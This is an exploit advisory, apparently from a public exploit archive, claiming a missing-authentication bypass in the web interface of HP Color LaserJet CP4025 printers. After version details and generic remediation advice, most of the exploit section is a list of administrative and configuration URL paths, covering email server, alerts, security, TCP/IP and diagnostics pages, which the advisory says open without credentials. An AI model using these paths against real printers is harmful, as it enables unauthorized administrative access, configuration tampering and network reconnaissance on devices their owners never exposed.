HP Color LaserJet CP4025 Printers 6.7.0.x Authentication Bypass

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# Exploit Title : HP Color LaserJet CP4025 Printers 6.7.0.x Bypass Missing Authentication  
# Author [ Discovered By ] : KingSkrupellos  
# Team : Cyberizm Digital Security Army  
# Date : 31/03/2019  
# Vendor Homepage : hp.com  
# Software Information Link :  
support.hp.com/us-en/drivers/selfservice/hp-color-laserjet-enterprise-cp4025-printer-series/3965792  
# Software Version :   
Driver-Universal Print Driver => 6.1.0.20062 and 6.7.0.23989  
Driver-Universal Print Driver for Managed Services => Version 6.7.0.23989  
Example Printer Model Number => CC490A - CCXXXA  
Basic Drivers => 61.155.01.16418  
Driver-USB => Version 7.0.0.29  
Firmware => Version 07.250.2 - 20150120 07.171.9  
Software Universal Printer Driver => Version 1.8.6  
Utility => Version 1.0  
# Tested On : Windows and Linux  
# Category : WebApps  
# Exploit Risk : High  
# Vulnerability Type : CWE-306 [ Missing Authentication for Critical Function ]  
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968  
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/  
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos  
  
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# Description about Software :  
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HP LaserJet as a brand name identifies the line of dry electrophotographic DEP laser printers marketed by the American  
  
computer company Hewlett-Packard (HP). The HP LaserJet was the world's first desktop laser printer.  
  
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# Impact :  
***********  
The software does not perform any authentication for functionality that requires a provable user identity   
  
or consumes a significant amount of resources.  
  
The vulnerability allows a remote unauthenticated attacker to send specially crafted HTTP request to the   
  
affected application and change configuration settings or gain administrative access.  
  
Missing authentication for critical function is a language independent issue that can appear in any multiuser environment.  
  
Developing a fix would require understanding of the current application security model and implemented access controls.  
  
Three basic rules however can help you eliminate potential improper authorization issues:  
  
1) Identify all privileged assets within your application (web pages that display sensitive data,   
website sections that contain privileged/administrative functionality, etc.)  
  
2) Identify user roles within the application and their access permissions  
  
3) Always check if the user should have privileges to access the asset  
  
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# Bypass Missing Authentication Exploit / Vulnerability :  
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/hp/device/this.LCDispatcher  
  
/hp/device/this.LCDispatcher?nav=hp.EmailServer  
  
/hp/device/this.LCDispatcher?nav=hp.Alerts&subpage=1&lstid=-1  
  
/hp/device/this.LCDispatcher?nav=hp.Alerts&subpage=3&lstid=1  
  
/hp/device/this.LCDispatcher?nav=hp.Alerts  
  
/hp/device/this.LCDispatcher?nav=hp.AutoSend  
  
/hp/device/this.LCDispatcher?nav=hp.Security&fldPage=0  
  
/hp/device/this.LCDispatcher?nav=hp.OtherLinks  
  
/hp/device/this.LCDispatcher?nav=hp.Config  
  
/hp/device/this.LCDispatcher?nav=hp.DeviceInfoConfig  
  
/config_pro.htm  
/tcpipv6.htm  
/tcpipv4.htm  
  
/tcp_param.htm  
/network_id.htm  
  
/tcp_summary.htm  
/index_info.htm  
  
/support_param.html  
/support.htm  
  
/tcp_diag.htm  
/configpage.htm  
  
/tcp_param.htm  
/network_id.htm  
  
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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team   
  
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